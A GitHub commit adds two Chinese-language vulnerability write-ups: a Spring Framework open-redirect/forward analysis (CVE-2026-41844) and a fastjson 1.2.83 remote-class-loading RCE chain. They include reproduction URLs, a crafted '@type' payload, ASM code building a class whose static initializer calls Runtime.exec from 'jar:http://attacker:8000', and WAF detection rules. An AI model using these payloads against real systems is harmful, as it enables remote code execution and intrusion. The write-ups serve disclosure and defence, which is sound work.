Add files via upload

This commit is contained in:
东方有鱼名为咸
2026-08-02 02:59:00 -04:00
committed by GitHub
parent 0d4818c01b
commit 6602db5059
3 changed files with 1624 additions and 0 deletions
@@ -0,0 +1,219 @@
# CVE-2026-41844 Spring Framework 开放重定向漏洞浅析
> QIANXIN Team
> 来源:https://forum.butian.net/share/4951
# 0x00 CVE-2026-41844
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7aff2d3e51062d3e9e80e4782993df689e9f780d.png)
**主要影响范围:**
Spring Framework:
- 7.0.0 - 7.0.7
- 6.2.0 - 6.2.18
- 6.1.0 - 6.1.27
- 5.3.0 - 5.3.48
以及不再支持维护的版本同样受到影响。
# 0x01 漏洞分析与复现
## 1.1 分析过程
以spring-webmvc 6.0.7为例。
当Spring MVC接收到请求时,Servlet容器会调用DispatcherServlet的service方法(方法的实现在其父类FrameworkServlet中定义):
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7a6ba78d145096ca19d0db32a7a1f01aa2e8838c.png)
经过一系列的处理后,会调用doDispatch方法处理:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-71d0c79c4f4784f9079b3da74df6dbe0009daa50.png)
在doDispatch方法中,经过一系列处理获取到url 和 Handler 映射关系后(HandlerAdapter),springMVC就可以根据请求的uri来找到对应的Controller和method,然后处理和响应请求。详细的分析可见[https://forum.butian.net/share/2214](https://forum.butian.net/share/2214)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-9e259a96ec119b855f92b25d5a18c5a907a688fb.png)
找到对应的HandlerAdapter后,会调用对应的Handler方法,也就是执行Controller里的业务逻辑了,执行完成之后会返回一个ModleAndView对象,然后渲染视图并进行返回,这里的逻辑是本次漏洞的分析的关键:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-4e164661dc717221e5ba9e65bee6bcbd9f69c78f.png)
在获取到ModelAndView对象后,这里会调用applyDefaultViewName处理,这里是Spring 的默认视图解析逻辑:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-58c3dd615e1cf07bbb5dd51174fddb0de5e1b5f9.png)
查看具体的代码逻辑,首先检查 mv 是否为 null(如果代码添加了 `@ResponseBody` 注解,mv 就为 null),然后判断 mv 中是否包含视图,如果对应的Controller代码中未显式指定视图名时,则调用 getDefaultViewName 方法去获取默认的视图名,并将获取到的默认视图名赋值给 mv:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d7d6ddf0a277d092e9bea01c93c20074d9959680.png)
查看getDefaultViewName,看看具体获取默认视图名的逻辑:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8665985be7d37bcdd595bf1649a76bb93d873e1e.png)
这里会继续调用viewNameTranslator#getViewName方法对请求进行处理
viewNameTranslator 其实是 RequestToViewNameTranslator
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-cc432e55fa31276957246359535910482e376bbf.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-5af491a5a2a1957664273a91e18d4c5bc9b7bfe2.png)
本质上,在 SpringMVC 中,RequestToViewNameTranslator 接口只有一个默认的实现类DefaultRequestToViewNameTranslatorWebFlux 则是ViewResolutionResultHandler 。
在DefaultRequestToViewNameTranslator#getViewName方法中,**会从请求路径中直接提取字符串作为视图名**:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-cc9a702a17b6ab267cccef0cc06411855c60952f.png)
ServletRequestPathUtils#getCachedPathValue方法是统一获取请求路径的方法。具体的解析可见[https://forum.butian.net/share/2606。](https://forum.butian.net/share/2606%E3%80%82)
提取完请求路径后,会通过 transformPath 方法对路径进行处理,再分别加上前后缀后返回,默认的前后缀都是空字符串(如有需要,也可以进行配置)。
transformPath 方法则主要功能如下:
1. 去掉路径开始的 `/`
2. 去掉路径结尾的 `/`
3. 如果请求路径有扩展名,则去掉扩展名,例如请求路径是 `/1.txt`,经过这一步处理后,就变成了 `/1`
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-cabe7d1f2f688feb30ce83e602883b60633d4017.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-b569289a69ddddbbb63b69d4088baeb90dcb381f.png)
4. 如果 separator 与 SLASH 不同,则替换原来的分隔符(一般情况下,默认是相同的)。
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-9a8dd48be68c7b588415fbcdf9a163aff861b552.png)
这里以如下Controller为例:
```java
@GetMapping("/**")
public void catchAll() {
}
```
当正常请求/demo时,可以看到,因为没有显示指定视图,所以ModelAndView对象里的内容均为null
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-885d2da684b8f5a4ce13decea316679d13a992bb.png)
经过applyDefaultViewName方法处理后,取得对应的视图名,也就是默认的请求路径demo:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7d86b67bbbe0dad2687f3a3717aaba56ee4c7cd5.png)
这里也就得到了漏洞的第一个成因:**当 Spring MVC 或 Spring WebFlux 应用未显式指定视图名时,视图名会默认从请求路径提取。**
处理完上述的一系列逻辑后,会调用processDispatchResult()进行异常处理、请求状态及触发请求完成事件,视图的渲染工作则交给了render()方法:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c36c4f4dd4039691a506504fad537eb00ce93beb.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-63fe84eca740d397c9f3eb8b3e10b0be961c3c7d.png)
render()渲染过程中,如果ModelAndView中的viewName不为空,则调用resolveViewName从视图解析器获取对应的视图对象;否则使用ModelAndView#getview方法获取视图对象
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-47486c2f5fd2e80dead1e2c717ceef4e478c414c.png)
这里会进一步调用getCandidateViews方法进行处理,然后遍历所有的视图解析器,进行视图的创建与解析:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-059fe15e5edc2d21ce0d817a38fb4e2862bd78c4.png)
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-a8dcc54516ca04b8fb24d08c26fdc02eeb8bbbc2.png)
而UrlBasedViewResolver会识别视图名中的特殊前缀,例如`redirect:` 会被解析为重定向,返回 302 响应跳转到后续指定的地址:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-883fb90a08d3b922e3bab52d123f338e124d376d.png)
至此,CVE-2026-41844的完整链路大致梳理清楚了。下面是具体的漏洞复现过程。
## 1.2 漏洞复现
以SpringMVC为例:
相关环境直接使用[https://github.com/andbin/spring-boot3-thymeleaf-basic-demo](https://github.com/andbin/spring-boot3-thymeleaf-basic-demo) 进行验证。
根据前面的分析,可以定义一个Controller如下:
```TypeScript
@Controller
public class MyController {
@GetMapping("/**")
public void catchAll() {
}
}
```
启动对应的application后,只需访问`http://ip:port/redirect:https://www.attack.com.any`,通过302跳转后即可重定向到`https://www.attack.com`
注意,根据前面的分析,在通过请求获取默认视图时,如果请求路径有扩展名,则去掉扩展名,这个拓展名会通过结尾最后一个`.`来区分。也就是说类似`www.attack.com`会被处理成`www.attack`,所以在最后构造poc时,要在实际跳转的域名后,增加类似`.any`的后缀,避免截断后无法正常跳转。
下面是具体的效果:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-b5e7b1741dde33d857d6b27e8de8c321f5efee63.png)
forward的转发同理,先定义一个转发的目标:
```TypeScript
@GetMapping("/internal/secret")
@ResponseBody public String internalEndpoint() {
return "[敏感信息] 内部系统配置接口,仅内网可访问";
}
```
只需请求`http://ip:port/forward:/internal/secret`即可成功转发:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ed9f63a43f4960e31a4fa7b0adeaf4fae9b0cd48.png)
Spring WebFlux同理,这里就不再赘述了。
另外,WebFlux 原生不支持 `forward:` 内部转发,因此仅受 `redirect:` 开放重定向影响。
## 1.3 {\*spring}模式
在官方的漏洞通告中,仅仅提到了`/**`的场景,实际上Spring5及之后的PathPattern解析模式,还支持类似`{*spring}`的写法,与`/**`大同小异,那么是否也会存在风险呢?
查看官方文档:
Representation of a parsed path pattern. Includes a chain of path elements for fast matching and accumulates computed state for quick comparison of patterns.
`PathPattern` matches URL paths using the following rules:
- `?` matches one character
- `*` matches zero or more characters within a path segment
- `**` matches zero or more _path segments_ until the end of the path
- `{spring}` matches a _path segment_ and captures it as a variable named "spring"
- `{spring:[a-z]+}` matches the regexp `[a-z]+` as a path variable named "spring"
- `{*spring}` matches zero or more _path segments_ until the end of the path and captures it as a variable named "spring"
**Note:** In contrast to `[AntPathMatcher](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/util/AntPathMatcher.html)`, `**` is supported only at the end of a pattern. For example, `/pages/{}` is valid but `/pages/{}/details` is not. The same applies also to the capturing variant `{*spring}`. The aim is to eliminate ambiguity when comparing patterns for specificity.
根据官方文档的描述,其实`**`跟AntPathMatcher匹配规则区别不大,PathPattern在保持其匹配规则的基础上,新增了`{*spring}`的语法支持。
`{*spring}`表示匹配余下的path路径部分并将其赋值给名为spring的变量(变量名可以根据实际情况随意命名,与`@PathVariable`名称对应即可)。同时,`{*spring}`是可以匹配剩余所有path的,类似`/**`,只是功能更强,可以获取到这部分动态匹配到的内容。
```TypeScript
@GetMapping("/{*path}")
public void catchAll() {
}
```
可以发现,同样成功利用,这里与`/**`的配置区别只是解析模式的不同,不影响具体的漏洞触发:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-e01c770706eb665d265e0ca566f554beeb8810ad.png)
# 0x02 利用条件
综上所述,相关漏洞的利用条件可以总结如下:
1. 使用 Spring MVC 或 Spring WebFlux 框架
2. 配置了类似 `/**` 通配符路径与`{*path}`映射(如全局视图路由)
3. 对应路径的处理器未显式指定视图名称,依赖 Spring 自动从请求路径推导
4. 使用了继承自 `UrlBasedViewResolver` 的视图解析器(Thymeleaf等主流视图技术默认均满足)
# 0x03 修复方案
官方具体修复如下:[https://github.com/spring-projects/spring-framework/blob/v6.2.19/spring-webmvc/src/main/java/org/springframework/web/servlet/view/DefaultRequestToViewNameTranslator.java](https://github.com/spring-projects/spring-framework/blob/v6.2.19/spring-webmvc/src/main/java/org/springframework/web/servlet/view/DefaultRequestToViewNameTranslator.java)
通过请求获取完视图名后,新增对 `redirect:``forward:` 两个危险前缀的开头匹配校验。当匹配到危险前缀时直接抛出非法参数异常,由 Spring MVC 异常处理器转为 `400 Bad Request` 响应:
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ca608ed0990abedcfab14ae5c7667b9cea773cff.png)
@@ -0,0 +1,287 @@
# 从 checkAutoType 到 defineClassfastjson 1.2.83 @JSONType 注解探测链的完整逆向与利用
> QIANXIN Team
> 来源:https://forum.butian.net/share/4992
## 一、引子
过去七年,fastjson 反序列化漏洞的利用范式高度一致:
1. 绕过黑名单(`denyList`)找到一个危险类
2. 构造 JSON payload 触发 `@type` 解析
3. 依赖经典 gadget`JdbcRowSetImpl` / `TemplatesImpl`)完成 JNDI 注入或字节码加载
这条新链打破了所有惯例:
- **不需要打开 AutoType**:利用点在 `checkAutoType` 的注解探测逻辑
- **不需要经典 gadget**:payload 是一个自定义的远程 class(`jar:http://...`
- **不依赖传统 gadget 的二次调用**:class 在后续实例化或首次主动使用时完成初始化,触发 `<clinit>`
- **类型绑定 `parseObject(body, Dto.class)` 无法防御**
笔者的第一反应是"这怎么可能"。直到读完 `ParserConfig.checkAutoType` 的每一行代码。
* * *
## 二、`checkAutoType` 的五个攻击阶段
`com.alibaba.fastjson.parser.ParserConfig.checkAutoType(String typeName, Class<?> expectClass, int features)` 是 fastjson 处理 `@type` 的核心入口。无论 `JSON.parse(body)` 还是 `JSON.parseObject(body, SomeClass.class)`,最终都会走到这里。
关键代码段(fastjson 1.2.83):
```java
if (autoTypeSupport || expectClassFlag) {
}
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader()
.getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
} finally {
IOUtils.close(is);
}
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
if (clazz != null) {
if (jsonType) {
if (autoTypeSupport) {
TypeUtils.addMapping(typeName, clazz);
}
return clazz;
}
}
```
### 2.1 攻击面一:`typeName.replace('.', '/')` — 字符串转换即 sink
`typeName` 来自 JSON 中的 `@type` 字段值,完全由攻击者控制。`replace('.', '/')` 的语义是"将 Java 全限定类名转换为 classpath 资源路径"。但当 `typeName` 不是类名而是一个 URL 时,这个操作就变成了 URL 构造。
关键技巧——攻击者用 `..` 表示 `//`,因为 `..` 中每个 `.` 会被替换为 `/`
```php
输入 typeName: jar:http:..2130706433:18080.probe!.POC
replace('.', '/')
输出 resource: jar:http:
```
`2130706433` = `127.0.0.1` 的 32 位无符号整数表示。整数 IP 必须用于绕过 dotted hostname 因为 hostname 中的 `.` 也会被变成 `/`
### 2.2 攻击面二:`classLoader.getResourceAsStream()` — 取决于 ClassLoader 实现
这是整条链最关键的分叉点。`getResourceAsStream()` 能否将上面的 URL 解析为远程资源,完全取决于 `defaultClassLoader` 的具体类型:
| | | |
| --- | --- | --- |
| ClassLoader 类型 | 行为 | 结果 |
| JDK AppClassLoader | 通常只搜索 classpath 中的 jar/目录 | 一般返回 null,链断 |
| 独立 WAR 场景中的 Tomcat WebappClassLoader | 通常搜索 WEB-INF/lib 和 WEB-INF/classes | 一般返回 null,链断 |
| Spring Boot fat-jar 启动 ClassLoader2.x 的 LaunchedURLClassLoader、3.x 的对应实现) | 特定版本可把构造后的绝对资源名按 http: / jar: / file: URL 处理 | 可能远程取回 class/JAR,链继续 |
这里必须区分“独立 Tomcat 的 `WebappClassLoader`”与“Spring Boot 内嵌 Tomcat”。后者的应用类通常由 Spring Boot 启动 ClassLoader 管理,因此长亭报告中内嵌 Tomcat、Jetty、Undertow 均可受影响并不矛盾;决定性因素是**实际承接 fastjson 资源查找与类加载的 ClassLoader**,而不是内嵌容器品牌本身。
此处 `is != null` 意味着攻击者的远程 class 字节码已经被加载到内存,等待下一步的 ASM 分析。
### 2.3 攻击面三:ASM 字节码探针 — `@JSONType` 即通行证
```java
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
```
这段代码用 ASM 扫描攻击者提供的 class 字节码,检查是否包含 `@com.alibaba.fastjson.annotation.JSONType` 注解。**它只做注解检查,不验证类的合法性、不检查类名、不限制类的来源**。只要注解存在,`jsonType` 就设为 `true`
这个设计本意是性能优化——通过注解快速判断一个类是否被 fastjson 管理。问题是它**没有验证字节码来源**。攻击者提供的远程 class 只要加上 `@JSONType` 注解,就能通过这道门。
### 2.4 攻击面四:`TypeUtils.loadClass()` — 从字节码到 defined class
```java
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
```
`jsonType == true` 时,即使 `autoTypeSupport == false`,也会进入 `loadClass``TypeUtils.loadClass()` 会依次尝试显式 ClassLoader、线程上下文 ClassLoader 和 `Class.forName()`;JDK 8 的公开短链可直接使用构造后的 `http:` / `jar:http:` 类型名,现代 JDK 的替代链还会使用 `jar:file:` 重新打开已缓存的远程 JAR。
此时攻击者的 class 会进入 JVM 的加载/定义流程。需要注意:**`defineClass` 本身只完成类定义,并不保证立即执行 `<clinit>`**;类初始化通常由 `Class.forName()` 的初始化语义,或 fastjson 后续实例化、首次主动使用该类时触发。对利用结果而言仍可在同一次解析请求中执行代码,但不应把“定义类”和“初始化类”写成同一个 JVM 阶段。
### 2.5 攻击面五:短路跳过所有安全检查
```java
if (jsonType) {
if (autoTypeSupport) {
TypeUtils.addMapping(typeName, clazz);
}
return clazz;
}
```
`jsonType == true``return clazz` 跳过了:
- `ClassLoader` / `DataSource` / `RowSet` 的硬编码拦截
- `denyList` 黑名单检查
- `expectClass.isAssignableFrom(clazz)` 类型兼容性检查
这就是为什么 `parseObject(body, Dto.class)` 也无法防御——class 的加载和初始化发生在类型绑定之前。
* * *
## 三、payload 构造:JDK 8 直接短链的 Gen.java 示例
下面的 `Gen.java` 展示的是 JDK 8 直接远程 class 短链。现代 JDK 的完整链还需要为远程 JAR 缓存和不同 FD 候选生成对应入口 class,不应把这个单 class 示例视为 JDK 17+ 的完整 payload。该短链中的 class 需要满足三个条件:
1. 携带 `@JSONType` 注解(通过 ASM probe
2. 内部名等于该短链使用的 `jar:http://...` URL
3. `<clinit>` 执行攻击逻辑(在类初始化时触发)
`Gen.java` 使用 ASM `ClassWriter` 直接构造字节码:
```java
String internalName = "jar:http://attacker:8000/probe!/POC";
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC,
internalName, null, "java/lang/Object", null);
cw.visitAnnotation("Lcom/alibaba/fastjson/annotation/JSONType;", true)
.visitEnd();
MethodVisitor m = cw.visitMethod(Opcodes.ACC_STATIC, "<clinit>",
"()V", null, null);
m.visitCode();
m.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime",
"getRuntime", "()Ljava/lang/Runtime;", false);
m.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime",
"exec", "([Ljava/lang/String;)Ljava/lang/Process;", false);
m.visitInsn(Opcodes.RETURN);
```
JDK 版本影响的是**具体利用路径**,不能直接等同于是否可 RCE:
- **JDK 8**:已公开的短链可以直接加载 `http:..` / `jar:http:..` 对应的远程 class,实现 RCE。
- **现代 JDK(公开验证覆盖 JDK 17 / 21 / 25**:上述短链确实会因类名格式校验抛出 `ClassFormatError: Illegal class name`,但这只说明**短链失效**。公开技术分析展示了替代路径:先用 `jar:http:` 促使 JVM 下载远程 JAR 并生成 `jar_cache*` 临时缓存,再通过 Linux 的 `/proc/self/fd/N` 或 macOS 的 `/dev/fd/N``jar:file:` 重新打开该缓存,使用满足现代 JVM 类名校验的内部名完成 RCE。
- - \*
## 四、已验证的利用窗口与边界
本文分析对象是 fastjson 1.2.83;原始披露确认的测试范围为 1.2.68–1.2.83,更早版本是否具备完全相同的端到端条件应单独验证。当前公开验证可概括为:
| 已验证/报告的环境 | 结果 | 关键边界 |
| --- | --- | --- |
| Spring Boot fat-jar + JDK 8 | RCE | 可走直接远程 class 短链 |
| Spring Boot fat-jar + JDK 17 / 21 / 25 + Linux | RCE | 可走远程 JAR 缓存与 /proc/self/fd 重开链 |
| Spring Boot fat-jar + JDK 17 / 21 / 25 + macOS | RCE | 可使用 /dev/fd 等价路径 |
| Windows + 高版本 JDK | 当前报告中的现代 JDK 链未成功 | 不能据此推导组件已修复,只能说明该利用路径受限 |
| 无法解析绝对 URL 资源名的普通 ClassLoader,或 JVM 无必要出网能力 | 链断 | 与 JDK 主版本无关 |
所以,根据全网三方资料的验证,更准确的交集是:**受影响的 fastjson、未启用 SafeMode、攻击者可控的 `@type`、能够处理构造资源名的实际 ClassLoader,以及可达的出站网络**;现代 JDK 链还需要对应操作系统提供可利用的文件描述符重开路径。
> 核对来源:[长亭安全应急响应中心二次更新](https://mp.weixin.qq.com/s/ngrBwRPtFzM4G3A_P9SCog)给出了 JDK 8 / 17 / 21 / 25 与操作系统差异的复现结论;[公开技术分析](https://www.gcsa.org/media/fastjson-1-2-83-gadget-free-rce)说明了现代 JDK 上远程 JAR 缓存与 FD 重开链。原始披露确认的版本测试范围见 [Kirill Firsov 的披露线程](https://x.com/k_firsov/status/2078872293745570032)。
## 五、防御体系:从单点到纵深
### 5.1 代码层:优先启用 `safeMode`
```bash
-Dfastjson.parser.safeMode=true
```
在未注册自定义检查器的常规路径中,`safeMode` 会在资源访问和注解探测之前终止 `@type` 处理,是首选临时缓解措施。需要额外审计 `AutoTypeCheckHandler`fastjson 1.2.83 源码中该 handler 的调用位于 SafeMode 检查之前。长期方案仍应是迁移至 fastjson2,并完成兼容性回归。
### 5.2 ClassLoader 层:审计实际资源查找与类加载链
`defaultClassLoader` 不是唯一入口:未显式设置时,资源探测会回退到 `ParserConfig.class.getClassLoader()``TypeUtils.loadClass()` 还会继续尝试线程上下文 ClassLoader 和 `Class.forName()`。因此应审计实际运行时链路,而不是只搜索 `setDefaultClassLoader()` 调用:
- 不让承接不可信 JSON 解析的 ClassLoader 将构造后的绝对 `http:` / `jar:` / `file:` 资源名当作合法 classpath 资源
- 核对 Spring Boot 启动方式、线程上下文 ClassLoader 和自定义 ClassLoader;不要因代码未调用 `setDefaultClassLoader()` 就判定不受影响
### 5.3 网络与运行时层:采用出站白名单
不要只按 `jar:http`、端口或 `User-Agent: Java` 做字符串拦截:JDK 8 短链可以使用直接 `http:` 资源,现代链还会组合 `jar:http:` 与本地 `jar:file:`。更可靠的方案是对业务 JVM/容器实施**默认拒绝的出站策略**,仅放行明确需要访问的域名、IP 和端口,并监控异常 `.class`/无扩展名 JAR 下载与 JVM 临时目录中的 `jar_cache*` 文件。
在现代 JDK 环境中,还可以把 `/proc/self/fd``/dev/fd` 暴露面和容器沙箱作为附加加固点,但这些措施都不应替代 SafeMode 或组件迁移。**升级 JDK 只能作为常规运行时加固,不能单独修复本漏洞。**
### 5.4 WAF / API 网关临时检测方案
不建议继续使用 `(jar:|2130706433|!)``@type` 的值做简单黑名单:单独匹配 `!` 容易误报,`2130706433` 只是众多主机表示之一,而且规则会漏掉直接 `http:..`、其他整数 IP/DNS 标签、`jar:file:` 以及混合转义形式。更稳妥的方案分两层:
#### 方案 A:业务不需要 `@type` 时,规范化后直接拒绝该键(推荐)
在能读取完整请求体的 WAF phase 2、API 网关插件或应用前置过滤器中:
1. 仅对实际进入 fastjson 的接口启用规则;
2. 先处理 `Content-Encoding`,必要时做 URL 解码,再按 fastjson 可接受的语法解析或规范化字段名;
3. 递归检查请求体、嵌套对象以及会被业务送入 fastjson 的 URL 参数;
4. 只要**解码后的键精确等于 `@type`**,就拒绝请求;解析失败时不要回退为放行。
```text
if request_reaches_fastjson(request):
document = parse_or_reject(normalize_request(request))
if contains_key_recursively(document, "@type"):
return 403
```
原始请求体正则只能作为兜底。下面的 PCRE 思路同时覆盖双引号、单引号/未引号字段,以及逐字符混用明文、Unicode 和 fastjson `\xNN` 转义的 `@type`
```regex
(?s)(?:^|[,{]\s*)(["']?)(?:@|\\u0040|\\x40)(?:t|\\u0074|\\x74)(?:y|\\u0079|\\x79)(?:p|\\u0070|\\x70)(?:e|\\u0065|\\x65)\1\s*:
```
该表达式应放在**已取得完整、解压后请求体**的处理阶段;直接在 Nginx rewrite 阶段读取 `$request_body` 可能拿不到完整 body。原始文本正则也无法正确理解所有字符串边界、重复键和多层编码,因此不能替代 JSON 解析后的键检查。
#### 方案 B:业务确实依赖 `@type` 时,按接口做精确白名单
不要用协议或字符黑名单,而应在规范化后将 `@type` 的值与该接口允许的完整类名集合做**精确匹配**;非字符串、未知类型、重复 `@type` 或任何编码后才落入白名单的异常形式均拒绝。`http:``jar:``file:``!``.proc.self.fd.``.dev.fd.` 和连续 FD 枚举可作为高置信告警特征,但不应成为唯一阻断条件。
WAF 只能覆盖大多数已知入口,是临时缓解,不替代 `safeMode`、出站限制和 fastjson2 迁移。
* * *
## 六、总结与反思
### 技术层面
这条链的本质是**将 fastjson 的注解探测机制转化为一个远程类加载器**。攻击者通过控制类名(`@type` 值),将原本用于 classpath 资源查找的 `getResourceAsStream()` 变成 SSRF 入口,再将 ASM 注解验证的"通过信号"转为绕过 `autoType` 的通行证,最终由 Spring Boot 的 URL 协议处理器完成远程类定义。
### 工程层面
测绘结果揭示了一个现实:**漏洞的存在不等于所有部署都能沿同一条链利用**。ClassLoader、出站网络和操作系统会改变利用路径;但不能再因目标使用 JDK 17+ 就把风险降为 SSRF。对 Spring Boot fat-jar 环境,应结合实际 ClassLoader、操作系统和网络策略做验证,而不是只看 JDK 主版本。
### 防御层面
单点防御(如仅关闭 autoType)是不够的。纵深防御需要覆盖:
- 配置层(`safeMode`
- ClassLoader 层(审计实际资源查找与类加载链)
- 网络层(默认拒绝出站,并监控异常 class/JAR 与 `jar_cache*`
- WAF 层(检测 payload 特征)
- 运行时层(持续升级 JDK,但不把升级 JDK 当作本漏洞修复)
File diff suppressed because one or more lines are too long